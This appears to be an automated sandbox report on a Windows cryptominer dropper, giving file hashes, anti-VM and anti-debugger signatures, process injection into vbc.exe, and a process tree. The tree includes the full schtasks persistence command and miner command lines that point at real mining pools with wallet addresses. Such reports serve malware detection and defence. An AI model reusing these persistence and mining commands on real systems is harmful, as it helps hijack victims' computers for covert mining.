Analysis
-
max time kernel
301s -
max time network
295s -
platform
windows10-1703_x64 -
resource
win10-20220722-en -
resource tags
arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system -
submitted
06-08-2022 22:15
Behavioral task
behavioral1
Sample
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
Resource
win7-20220715-en
General
-
Target
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
-
Size
3.4MB
-
MD5
b67da452eabdb5202468322d11b07c01
-
SHA1
698f6779381714ec3c7d19840da6a679da918e84
-
SHA256
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324
-
SHA512
2d4547769f16537ca5e9a9c1beba7ee7047594b1789a25223855a9f86fe1eafdf005d69c57b63f5ff65bbad12052226782e5d558323590057d4eac2f90091205
Malware Config
Signatures
-
Detected Stratum cryptominer command 1 IoCs
Looks to be attempting to contact Stratum mining pool.
Processes:
vbc.exepid process 1252 vbc.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe -
Executes dropped EXE 3 IoCs
Processes:
ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exeAZWZGASDYNOOA.exeAZWZGASDYNOOA.exepid process 5088 ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe 3188 AZWZGASDYNOOA.exe 3768 AZWZGASDYNOOA.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe -
Processes:
resource yara_rule behavioral2/memory/4688-170-0x00000000013A0000-0x00000000019C6000-memory.dmp themida behavioral2/memory/4688-200-0x00000000013A0000-0x00000000019C6000-memory.dmp themida -
Uses the VBS compiler for execution 1 TTPs
-
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exepid process 4688 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
AZWZGASDYNOOA.exedescription pid process target process PID 3188 set thread context of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 set thread context of 2404 3188 AZWZGASDYNOOA.exe vbc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1228 timeout.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exeAZWZGASDYNOOA.exepid process 4688 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe 4688 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe 3188 AZWZGASDYNOOA.exe 3188 AZWZGASDYNOOA.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exessfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exeAZWZGASDYNOOA.exedescription pid process Token: SeDebugPrivilege 4688 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe Token: SeDebugPrivilege 5088 ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe Token: SeDebugPrivilege 3188 AZWZGASDYNOOA.exe -
Suspicious use of WriteProcessMemory 41 IoCs
Processes:
4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exessfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.execmd.exeAZWZGASDYNOOA.execmd.exevbc.exedescription pid process target process PID 4688 wrote to memory of 5088 4688 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe PID 4688 wrote to memory of 5088 4688 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe PID 5088 wrote to memory of 3816 5088 ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe cmd.exe PID 5088 wrote to memory of 3816 5088 ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe cmd.exe PID 3816 wrote to memory of 1228 3816 cmd.exe timeout.exe PID 3816 wrote to memory of 1228 3816 cmd.exe timeout.exe PID 3816 wrote to memory of 3188 3816 cmd.exe AZWZGASDYNOOA.exe PID 3816 wrote to memory of 3188 3816 cmd.exe AZWZGASDYNOOA.exe PID 3188 wrote to memory of 2004 3188 AZWZGASDYNOOA.exe cmd.exe PID 3188 wrote to memory of 2004 3188 AZWZGASDYNOOA.exe cmd.exe PID 2004 wrote to memory of 4616 2004 cmd.exe schtasks.exe PID 2004 wrote to memory of 4616 2004 cmd.exe schtasks.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 1252 3188 AZWZGASDYNOOA.exe vbc.exe PID 1252 wrote to memory of 528 1252 vbc.exe cmd.exe PID 1252 wrote to memory of 528 1252 vbc.exe cmd.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe PID 3188 wrote to memory of 2404 3188 AZWZGASDYNOOA.exe vbc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe"C:\Users\Admin\AppData\Local\Temp\4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe"C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp786C.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AZWZGASDYNOOA" /tr "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AZWZGASDYNOOA" /tr "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"6⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RFiihDJ8WoynFyMePc1sP28nmxoLmatE9n.work -p x -t 45⤵
- Detected Stratum cryptominer command
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe --pool stratum://0xd522E4e1279f59e64625757D66ba4Cbb20D6dC0C.WORKER@eu1.ethermine.org:4444 --cinit-max-gpu=805⤵
-
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exeC:\ProgramData\rootsystems\AZWZGASDYNOOA.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exeFilesize
845KB
MD593b40ed9ef66ae2c72c9b29cfde49a9a
SHA190f356d379e9003ec9fba486f87b06e12ace89bc
SHA2567cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813
SHA512d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00
-
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exeFilesize
845KB
MD593b40ed9ef66ae2c72c9b29cfde49a9a
SHA190f356d379e9003ec9fba486f87b06e12ace89bc
SHA2567cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813
SHA512d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00
-
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exeFilesize
845KB
MD593b40ed9ef66ae2c72c9b29cfde49a9a
SHA190f356d379e9003ec9fba486f87b06e12ace89bc
SHA2567cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813
SHA512d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AZWZGASDYNOOA.exe.logFilesize
1KB
MD59bfb0f51f319fb79c0bb1f4f9fcfc7e1
SHA1367776be8a224b0ee8271dce1723eb675a1964b2
SHA25635d5a38e77d2755271f2897bcfdd673d3d8daa0e6e412c7272fac51aacb101f3
SHA5120b103c722c983d513724c36da13de8b18845c3a1e4a311326947e448d304a2dbdd717d914ceeb9e8e11a6083f8ccaf7abad1bf4a2ac22e21de91d6cc74ec17bb
-
C:\Users\Admin\AppData\Local\Temp\tmp786C.tmp.batFilesize
153B
MD54cb445329122ffc0300dfb34094a9e58
SHA134eab67d391f049b8245362657bd3c374e2825e7
SHA256f1d3e77b0bd3bd35cbc3c428ae2d1f2c98fa66943e23b45e36cd1766263bf5f0
SHA51243619b06a67d6adc2f2cd81df8d799bb069671b0e0ff570ce88235151505ef355644b04c6a593e2a68e31b1151b9ee6f4e55805ffd2cfaa79081f73f0ed32bd2
-
C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exeFilesize
845KB
MD593b40ed9ef66ae2c72c9b29cfde49a9a
SHA190f356d379e9003ec9fba486f87b06e12ace89bc
SHA2567cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813
SHA512d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00
-
C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exeFilesize
845KB
MD593b40ed9ef66ae2c72c9b29cfde49a9a
SHA190f356d379e9003ec9fba486f87b06e12ace89bc
SHA2567cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813
SHA512d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00
-
memory/528-213-0x0000000000000000-mapping.dmp
-
memory/1228-203-0x0000000000000000-mapping.dmp
-
memory/1252-214-0x0000000140000000-0x00000001400C6000-memory.dmpFilesize
792KB
-
memory/1252-210-0x000000014006EE80-mapping.dmp
-
memory/1252-215-0x0000000140000000-0x00000001400C6000-memory.dmpFilesize
792KB
-
memory/2004-207-0x0000000000000000-mapping.dmp
-
memory/2404-217-0x000000014025502C-mapping.dmp
-
memory/3188-204-0x0000000000000000-mapping.dmp
-
memory/3816-201-0x0000000000000000-mapping.dmp
-
memory/4616-208-0x0000000000000000-mapping.dmp
-
memory/4688-166-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-176-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-142-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-143-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-144-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-145-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-146-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-147-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-148-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-149-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-150-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-151-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-152-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-153-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-154-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-155-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-156-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-157-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-158-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-159-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-160-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-161-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-163-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-164-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-165-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-140-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-167-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-168-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-169-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-170-0x00000000013A0000-0x00000000019C6000-memory.dmpFilesize
6.1MB
-
memory/4688-171-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-172-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-173-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-174-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-175-0x00000000013A0000-0x00000000019C6000-memory.dmpFilesize
6.1MB
-
memory/4688-141-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-177-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-178-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-179-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-180-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-181-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-182-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-183-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-184-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-185-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-186-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-187-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-188-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-189-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-190-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-191-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-192-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-196-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-197-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-139-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-138-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-137-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-136-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-135-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-134-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-133-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-132-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-131-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-130-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-129-0x00000000013A0000-0x00000000019C6000-memory.dmpFilesize
6.1MB
-
memory/4688-128-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-127-0x0000000077980000-0x0000000077B0E000-memory.dmpFilesize
1.6MB
-
memory/4688-200-0x00000000013A0000-0x00000000019C6000-memory.dmpFilesize
6.1MB
-
memory/5088-193-0x0000000000000000-mapping.dmp
-
memory/5088-198-0x00000000003A0000-0x0000000000478000-memory.dmpFilesize
864KB